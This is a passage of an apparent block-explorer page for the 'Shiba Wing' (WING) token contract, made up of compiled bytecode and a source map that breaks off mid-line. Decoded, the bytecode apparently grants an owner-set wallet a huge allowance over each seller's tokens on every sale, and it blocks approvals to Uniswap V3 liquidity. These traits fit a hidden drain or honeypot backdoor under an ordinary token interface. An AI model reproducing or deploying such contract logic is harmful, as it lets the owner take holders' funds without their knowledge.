060248201527f417070726f76616c20666f7220556e6973776170205633206c6971756964697460448201526f1e481a5cc81b9bdd08185b1b1bddd95960821b60648201526084015b60405180910390fd5b61045b338484610aeb565b5060015b92915050565b5f6104726009600a6117f4565b610481906461f313f880611802565b905090565b5f610492848484610c0e565b6104e384336104de85604051806060016040528060288152602001611995602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111f4565b610aeb565b5060019392505050565b5f546001600160a01b031633146105165760405162461bcd60e51b815260040161044790611819565b6105226009600a6117f4565b610531906461f313f880611802565b600c556105406009600a6117f4565b61054f906461f313f880611802565b600d55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b56009600a6117f4565b6105c4906461f313f880611802565b60405190815260200160405180910390a150565b5f546001600160a01b031633146106015760405162461bcd60e51b815260040161044790611819565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561064b90309061063c6009600a6117f4565b6104de906461f313f880611802565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069b573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106bf919061184e565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610742919061184e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561078c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b0919061184e565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107fb5760405162461bcd60e51b815260040161044790611819565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461086c5760405162461bcd60e51b815260040161044790611819565b60405133904780156108fc02915f818181858888f19350505050158015610895573d5f5f3e3d5ffd5b50565b5f61045b338484610c0e565b5f546001600160a01b031633146108cd5760405162461bcd60e51b815260040161044790611819565b601354600160a01b900460ff16156109275760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610447565b6013546001600160a01b031663f305d7194730610958816001600160a01b03165f9081526001602052604090205490565b5f5f61096b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109d1573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109f69190611869565b505060125460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a4b573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6f9190611894565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610ab25760405162461bcd60e51b815260040161044790611819565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b6001600160a01b038316610b4d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610447565b6001600160a01b038216610bae5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610447565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c725760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610447565b6001600160a01b038216610cd45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610447565b5f8111610d355760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610447565b6013545f90600160b01b900460ff161580610d595750601354600160a81b900460ff165b15610e11576001600160a01b0384165f90815260016020526040902054610d819083906118b3565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610db09083906118c6565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e039086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610e3b57505f546001600160a01b03848116911614155b1561109d576011545f03610e635760095460115411610e5c57600554610e60565b6007545b90505b60115415610e7057506010545b6012546001600160a01b038581169116148015610e9b57506013546001600160a01b03848116911614155b8015610ebf57506001600160a01b0383165f9081526003602052604090205460ff16155b15610fbe57600c54821115610f165760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7447472e000000000000006044820152606401610447565b600d5482610f38856001600160a01b03165f9081526001602052604090205490565b610f4291906118c6565b1115610f905760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610447565b60095460115411610fa357600554610fa7565b6007545b601180549192505f610fb8836118d9565b91905055505b6012546001600160a01b038481169116148015610fe457506001600160a01b0384163014155b1561100c57610ff28361122c565b600a546011541161100557600654611009565b6008545b90505b305f90815260016020526040902054601354600160a81b900460ff1615801561104257506012546001600160a01b038581169116145b80156110575750601354600160b01b900460ff165b1561109b57600e54811180156110705750600b54601154115b156110925761109261108d8461108884600f546112ae565b6112ae565b6112c5565b61109b47611435565b505b5f811561112e576110b960646110b38585611470565b906114ee565b305f908152600160205260409020549091506110d5908261152f565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111259085815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054611150908461158d565b6001600160a01b0386165f90815260016020526040902055611193611175848361158d565b6001600160a01b0386165f908152600160205260409020549061152f565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111dc868561158d565b60405190815260200160405180910390a35050505050565b5f81848411156112175760405162461bcd60e51b815260040161044791906115fa565b505f61122384866118b3565b95945050505050565b604080518082019091526001600160a01b0380831682526004541660208201526112586009600a6117f4565b611267906461f313f880611802565b6112729060fa611802565b61127d90600a611802565b81516001600160a01b039081165f908152600260209081526040808320958201519093168252939093529091205550565b5f8183116112bc57826112be565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061130b5761130b6118f1565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611362573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611386919061184e565b81600181518110611399576113996118f1565b6001600160a01b0392831660209182029290920101526013546113bf9130911684610aeb565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f79085905f90869030904290600401611905565b5f604051808303815f87803b15801561140e575f5ffd5b505af1158015611420573d5f5f3e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561146c573d5f5f3e3d5ffd5b5050565b5f825f0361147f57505f61045f565b5f61148a8385611802565b9050826114978583611975565b146112be5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610447565b5f6112be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115ce565b5f8061153b83856118c6565b9050838110156112be5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610447565b5f6112be83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f4565b5f81836115ee5760405162461bcd60e51b815260040161044791906115fa565b505f6112238486611975565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610895575f5ffd5b5f5f60408385031215611654575f5ffd5b823561165f8161162f565b946020939093013593505050565b5f5f5f6060848603121561167f575f5ffd5b833561168a8161162f565b9250602084013561169a8161162f565b929592945050506040919091013590565b5f602082840312156116bb575f5ffd5b81356112be8161162f565b5f5f604083850312156116d7575f5ffd5b82356116e28161162f565b915060208301356116f28161162f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561174c57808504811115611730576117306116fd565b600184161561173e57908102905b60019390931c928002611715565b935093915050565b5f826117625750600161045f565b8161176e57505f61045f565b8160018114611784576002811461178e576117aa565b600191505061045f565b60ff84111561179f5761179f6116fd565b50506001821b61045f565b5060208310610133831016604e8410600b84101617156117cd575081810a61045f565b6117d95f198484611711565b805f19048211156117ec576117ec6116fd565b029392505050565b5f6112be60ff841683611754565b808202811582820484141761045f5761045f6116fd565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561185e575f5ffd5b81516112be8161162f565b5f5f5f6060848603121561187b575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156118a4575f5ffd5b815180151581146112be575f5ffd5b8181038181111561045f5761045f6116fd565b8082018082111561045f5761045f6116fd565b5f600182016118ea576118ea6116fd565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119555783516001600160a01b031683526020938401939092019160010161192e565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261198f57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220268f96ab0d94c28f1e4416cf85749297e4bc16d45fa829cb8f4dc534fb30ec3f64736f6c634300081b0033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c8063715018a61161009d578063a0ef91df11610062578063a0ef91df1461031b578063a9059cbb1461032f578063c9567bf91461034e578063dd62ed3e14610362578063fc9ad0aa146103a6575f5ffd5b8063715018a61461028b578063787abc3d1461029f57806385d5dd81146102b45780638da5cb5b146102c957806395d89b41146102ef575f5ffd5b8063313ce567116100e3578063313ce567146101f2578063340440c41461020d5780634c1b20281461022e57806362c8e2841461024357806370a0823114610257575f5ffd5b806306fdde0314610129578063095ea7b31461016d57806318160ddd1461019c57806318b8ef1f146101be57806323b872dd146101d3575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5060408051808201909152600a81526953686962612057696e6760b01b60208201525b60405161016491906115fa565b60405180910390f35b348015610178575f5ffd5b5061018c610187366004611643565b6103c5565b6040519015158152602001610164565b3480156101a7575f5ffd5b506101b0610465565b604051908152602001610164565b3480156101c9575f5ffd5b506101b0600f5481565b3480156101de575f5ffd5b5061018c6101ed36600461166d565b610486565b3480156101fd575f5ffd5b5060405160098152602001610164565b348015610218575f5ffd5b5061022c6102273660046116ab565b6104ed565b005b348015610239575f5ffd5b506101b0600c5481565b34801561024e575f5ffd5b5061022c6105d8565b348015610262575f5ffd5b506101b06102713660046116ab565b6001600160a01b03165f9081526001602052604090205490565b348015610296575f5ffd5b5061022c6107d2565b3480156102aa575f5ffd5b506101b0600e5481565b3480156102bf575f5ffd5b506101b0600d5481565b3480156102d4575f5ffd5b505f546040516001600160a01b039091168152602001610164565b3480156102fa575f5ffd5b5060408051808201909152600481526357494e4760e01b6020820152610157565b348015610326575f5ffd5b5061022c610843565b34801561033a575f5ffd5b5061018c610349366004611643565b610898565b348015610359575f5ffd5b5061022c6108a4565b34801561036d575f5ffd5b506101b061037c3660046116c6565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103b1575f5ffd5b5061022c6103c03660046116ab565b610a89565b5f73c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b038416036104505760405162461bcd60e51b815260206004820152603060248201527f417070726f76616c20666f7220556e6973776170205633206c6971756964697460448201526f1e481a5cc81b9bdd08185b1b1bddd95960821b60648201526084015b60405180910390fd5b61045b338484610aeb565b5060015b92915050565b5f6104726009600a6117f4565b610481906461f313f880611802565b905090565b5f610492848484610c0e565b6104e384336104de85604051806060016040528060288152602001611995602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111f4565b610aeb565b5060019392505050565b5f546001600160a01b031633146105165760405162461bcd60e51b815260040161044790611819565b6105226009600a6117f4565b610531906461f313f880611802565b600c556105406009600a6117f4565b61054f906461f313f880611802565b600d55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b56009600a6117f4565b6105c4906461f313f880611802565b60405190815260200160405180910390a150565b5f546001600160a01b031633146106015760405162461bcd60e51b815260040161044790611819565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561064b90309061063c6009600a6117f4565b6104de906461f313f880611802565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069b573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106bf919061184e565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610742919061184e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561078c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b0919061184e565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107fb5760405162461bcd60e51b815260040161044790611819565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461086c5760405162461bcd60e51b815260040161044790611819565b60405133904780156108fc02915f818181858888f19350505050158015610895573d5f5f3e3d5ffd5b50565b5f61045b338484610c0e565b5f546001600160a01b031633146108cd5760405162461bcd60e51b815260040161044790611819565b601354600160a01b900460ff16156109275760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610447565b6013546001600160a01b031663f305d7194730610958816001600160a01b03165f9081526001602052604090205490565b5f5f61096b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109d1573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109f69190611869565b505060125460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a4b573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6f9190611894565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610ab25760405162461bcd60e51b815260040161044790611819565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b6001600160a01b038316610b4d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610447565b6001600160a01b038216610bae5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610447565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c725760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610447565b6001600160a01b038216610cd45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610447565b5f8111610d355760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610447565b6013545f90600160b01b900460ff161580610d595750601354600160a81b900460ff165b15610e11576001600160a01b0384165f90815260016020526040902054610d819083906118b3565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610db09083906118c6565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e039086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610e3b57505f546001600160a01b03848116911614155b1561109d576011545f03610e635760095460115411610e5c57600554610e60565b6007545b90505b60115415610e7057506010545b6012546001600160a01b038581169116148015610e9b57506013546001600160a01b03848116911614155b8015610ebf57506001600160a01b0383165f9081526003602052604090205460ff16155b15610fbe57600c54821115610f165760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7447472e000000000000006044820152606401610447565b600d5482610f38856001600160a01b03165f9081526001602052604090205490565b610f4291906118c6565b1115610f905760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610447565b60095460115411610fa357600554610fa7565b6007545b601180549192505f610fb8836118d9565b91905055505b6012546001600160a01b038481169116148015610fe457506001600160a01b0384163014155b1561100c57610ff28361122c565b600a546011541161100557600654611009565b6008545b90505b305f90815260016020526040902054601354600160a81b900460ff1615801561104257506012546001600160a01b038581169116145b80156110575750601354600160b01b900460ff165b1561109b57600e54811180156110705750600b54601154115b156110925761109261108d8461108884600f546112ae565b6112ae565b6112c5565b61109b47611435565b505b5f811561112e576110b960646110b38585611470565b906114ee565b305f908152600160205260409020549091506110d5908261152f565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111259085815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054611150908461158d565b6001600160a01b0386165f90815260016020526040902055611193611175848361158d565b6001600160a01b0386165f908152600160205260409020549061152f565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111dc868561158d565b60405190815260200160405180910390a35050505050565b5f81848411156112175760405162461bcd60e51b815260040161044791906115fa565b505f61122384866118b3565b95945050505050565b604080518082019091526001600160a01b0380831682526004541660208201526112586009600a6117f4565b611267906461f313f880611802565b6112729060fa611802565b61127d90600a611802565b81516001600160a01b039081165f908152600260209081526040808320958201519093168252939093529091205550565b5f8183116112bc57826112be565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061130b5761130b6118f1565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611362573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611386919061184e565b81600181518110611399576113996118f1565b6001600160a01b0392831660209182029290920101526013546113bf9130911684610aeb565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f79085905f90869030904290600401611905565b5f604051808303815f87803b15801561140e575f5ffd5b505af1158015611420573d5f5f3e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561146c573d5f5f3e3d5ffd5b5050565b5f825f0361147f57505f61045f565b5f61148a8385611802565b9050826114978583611975565b146112be5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610447565b5f6112be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115ce565b5f8061153b83856118c6565b9050838110156112be5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610447565b5f6112be83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f4565b5f81836115ee5760405162461bcd60e51b815260040161044791906115fa565b505f6112238486611975565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610895575f5ffd5b5f5f60408385031215611654575f5ffd5b823561165f8161162f565b946020939093013593505050565b5f5f5f6060848603121561167f575f5ffd5b833561168a8161162f565b9250602084013561169a8161162f565b929592945050506040919091013590565b5f602082840312156116bb575f5ffd5b81356112be8161162f565b5f5f604083850312156116d7575f5ffd5b82356116e28161162f565b915060208301356116f28161162f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561174c57808504811115611730576117306116fd565b600184161561173e57908102905b60019390931c928002611715565b935093915050565b5f826117625750600161045f565b8161176e57505f61045f565b8160018114611784576002811461178e576117aa565b600191505061045f565b60ff84111561179f5761179f6116fd565b50506001821b61045f565b5060208310610133831016604e8410600b84101617156117cd575081810a61045f565b6117d95f198484611711565b805f19048211156117ec576117ec6116fd565b029392505050565b5f6112be60ff841683611754565b808202811582820484141761045f5761045f6116fd565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561185e575f5ffd5b81516112be8161162f565b5f5f5f6060848603121561187b575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156118a4575f5ffd5b815180151581146112be575f5ffd5b8181038181111561045f5761045f6116fd565b8082018082111561045f5761045f6116fd565b5f600182016118ea576118ea6116fd565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119555783516001600160a01b031683526020938401939092019160010161192e565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261198f57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220268f96ab0d94c28f1e4416cf85749297e4bc16d45fa829cb8f4dc534fb30ec3f64736f6c634300081b0033
Deployed Bytecode Sourcemap
16259:8397:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18420:83;;;;;;;;;;-1:-1:-1;18490:5:0;;;;;;;;;;;;-1:-1:-1;;;18490:5:0;;;;18420:83;;;;;;;:::i;:::-;;;;;;;;19245:307;;;;;;;;;;-1:-1:-1;19245:307:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;19245:307:0;945:187:1;18691:97:0;;;;;;;;;;;;;:::i;:::-;;;1283:25:1;;;1271:2;1256:18;18691:97:0;1137:177:1;17264:47:0;;;;;;;;;;;;;;;;19558:315;;;;;;;;;;-1:-1:-1;19558:315:0;;;;;:::i;:::-;;:::i;18602:83::-;;;;;;;;;;-1:-1:-1;18602:83:0;;16905:1;1974:36:1;;1962:2;1947:18;18602:83:0;1832:184:1;22460:256:0;;;;;;;;;;-1:-1:-1;22460:256:0;;;;;:::i;:::-;;:::i;:::-;;17097:49;;;;;;;;;;;;;;;;18044:370;;;;;;;;;;;;;:::i;18794:121::-;;;;;;;;;;-1:-1:-1;18794:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;18887:20:0;18860:7;18887:20;;;:11;:20;;;;;;;18794:121;16104:148;;;;;;;;;;;;;:::i;17209:48::-;;;;;;;;;;;;;;;;17153:49;;;;;;;;;;;;;;;;15890:79;;;;;;;;;;-1:-1:-1;15928:7:0;15955:6;15890:79;;-1:-1:-1;;;;;15955:6:0;;;2679:51:1;;2667:2;2652:18;15890:79:0;2533:203:1;18509:87:0;;;;;;;;;;-1:-1:-1;18581:7:0;;;;;;;;;;;;-1:-1:-1;;;18581:7:0;;;;18509:87;;23450:111;;;;;;;;;;;;;:::i;18921:167::-;;;;;;;;;;-1:-1:-1;18921:167:0;;;;;:::i;:::-;;:::i;24181:472::-;;;;;;;;;;;;;:::i;19094:145::-;;;;;;;;;;-1:-1:-1;19094:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;19202:20:0;;;19175:7;19202:20;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;19094:145;23192:146;;;;;;;;;;-1:-1:-1;23192:146:0;;;;;:::i;:::-;;:::i;19245:307::-;19320:4;24034:42;-1:-1:-1;;;;;24096:35:0;;;19390:82;;;;-1:-1:-1;;;19390:82:0;;3336:2:1;19390:82:0;;;3318:21:1;3375:2;3355:18;;;3348:30;3414:34;3394:18;;;3387:62;-1:-1:-1;;;3465:18:1;;;3458:46;3521:19;;19390:82:0;;;;;;;;;19483:39;13648:10;19506:7;19515:6;19483:8;:39::i;:::-;-1:-1:-1;19540:4:0;19245:307;;;;;:::o;18691:97::-;18744:7;16965:13;16905:1;16965:2;:13;:::i;:::-;16950:28;;:12;:28;:::i;:::-;18764:16;;18691:97;:::o;19558:315::-;19656:4;19673:36;19683:6;19691:9;19702:6;19673:9;:36::i;:::-;19720:123;19729:6;13648:10;19751:91;19791:6;19751:91;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19751:21:0;;;;;;:13;:21;;;;;;;;13648:10;19751:35;;;;;;;;;;:39;:91::i;:::-;19720:8;:123::i;:::-;-1:-1:-1;19861:4:0;19558:315;;;;;:::o;22460:256::-;16017:6;;-1:-1:-1;;;;;16017:6:0;13648:10;16017:22;16009:67;;;;-1:-1:-1;;;16009:67:0;;;;;;;:::i;:::-;16965:13:::1;16905:1;16965:2;:13;:::i;:::-;16950:28;::::0;:12:::1;:28;:::i;:::-;22535:12;:24:::0;16965:13:::1;16905:1;16965:2;:13;:::i;:::-;16950:28;::::0;:12:::1;:28;:::i;:::-;22570:12;:22:::0;22603:10:::1;:18:::0;;-1:-1:-1;;;;;;22603:18:0::1;-1:-1:-1::0;;;;;22603:18:0;::::1;::::0;;::::1;::::0;;;-1:-1:-1;22632:24:0;;;:17:::1;:24;::::0;;;;:31;;-1:-1:-1;;22632:31:0::1;-1:-1:-1::0;22632:31:0::1;::::0;;22679:29:::1;16965:13;-1:-1:-1::0;16965:2:0::1;:13;:::i;:::-;16950:28;::::0;:12:::1;:28;:::i;:::-;22679:29;::::0;1283:25:1;;;1271:2;1256:18;22679:29:0::1;;;;;;;22460:256:::0;:::o;18044:370::-;16017:6;;-1:-1:-1;;;;;16017:6:0;13648:10;16017:22;16009:67;;;;-1:-1:-1;;;16009:67:0;;;;;;;:::i;:::-;18092:11:::1;:100:::0;;-1:-1:-1;;;;;;18092:100:0::1;18139:42;18092:100:::0;;::::1;::::0;;;18203:56:::1;::::0;18220:4:::1;::::0;16965:13:::1;16905:1;16965:2;:13;:::i;:::-;16950:28;::::0;:12:::1;:28;:::i;18203:56::-;18300:11;;;;;;;;;-1:-1:-1::0;;;;;18300:11:0::1;-1:-1:-1::0;;;;;18300:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;18282:51:0::1;;18356:4;18376:11;;;;;;;;;-1:-1:-1::0;;;;;18376:11:0::1;-1:-1:-1::0;;;;;18376:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18282:123;::::0;-1:-1:-1;;;;;;18282:123:0::1;::::0;;;;;;-1:-1:-1;;;;;6097:32:1;;;18282:123:0::1;::::0;::::1;6079:51:1::0;6166:32;;6146:18;;;6139:60;6052:18;;18282:123:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18270:9;:135:::0;;-1:-1:-1;;;;;;18270:135:0::1;-1:-1:-1::0;;;;;18270:135:0;;;::::1;::::0;;;::::1;::::0;;18044:370::o;16104:148::-;16017:6;;-1:-1:-1;;;;;16017:6:0;13648:10;16017:22;16009:67;;;;-1:-1:-1;;;16009:67:0;;;;;;;:::i;:::-;16211:1:::1;16195:6:::0;;16174:40:::1;::::0;-1:-1:-1;;;;;16195:6:0;;::::1;::::0;16174:40:::1;::::0;16211:1;;16174:40:::1;16242:1;16225:19:::0;;-1:-1:-1;;;;;;16225:19:0::1;::::0;;16104:148::o;23450:111::-;16017:6;;-1:-1:-1;;;;;16017:6:0;13648:10;16017:22;16009:67;;;;-1:-1:-1;;;16009:67:0;;;;;;;:::i;:::-;23502:51:::1;::::0;23510:10:::1;::::0;23531:21:::1;23502:51:::0;::::1;;;::::0;::::1;::::0;;;23531:21;23510:10;23502:51;::::1;;;;;;;;;;;;;;;;;;;;23450:111::o:0;18921:167::-;18999:4;19016:42;13648:10;19040:9;19051:6;19016:9;:42::i;24181:472::-;16017:6;;-1:-1:-1;;;;;16017:6:0;13648:10;16017:22;16009:67;;;;-1:-1:-1;;;16009:67:0;;;;;;;:::i;:::-;24243:11:::1;::::0;-1:-1:-1;;;24243:11:0;::::1;;;24242:12;24234:48;;;::::0;-1:-1:-1;;;24234:48:0;;6412:2:1;24234:48:0::1;::::0;::::1;6394:21:1::0;6451:2;6431:18;;;6424:30;6490:25;6470:18;;;6463:53;6533:18;;24234:48:0::1;6210:347:1::0;24234:48:0::1;24293:11;::::0;-1:-1:-1;;;;;24293:11:0::1;:27;24328:21;24373:4;24393:24;24373:4:::0;-1:-1:-1;;;;;18887:20:0;18860:7;18887:20;;;:11;:20;;;;;;;18794:121;24393:24:::1;24432:1;24448;24464:7;15928::::0;15955:6;-1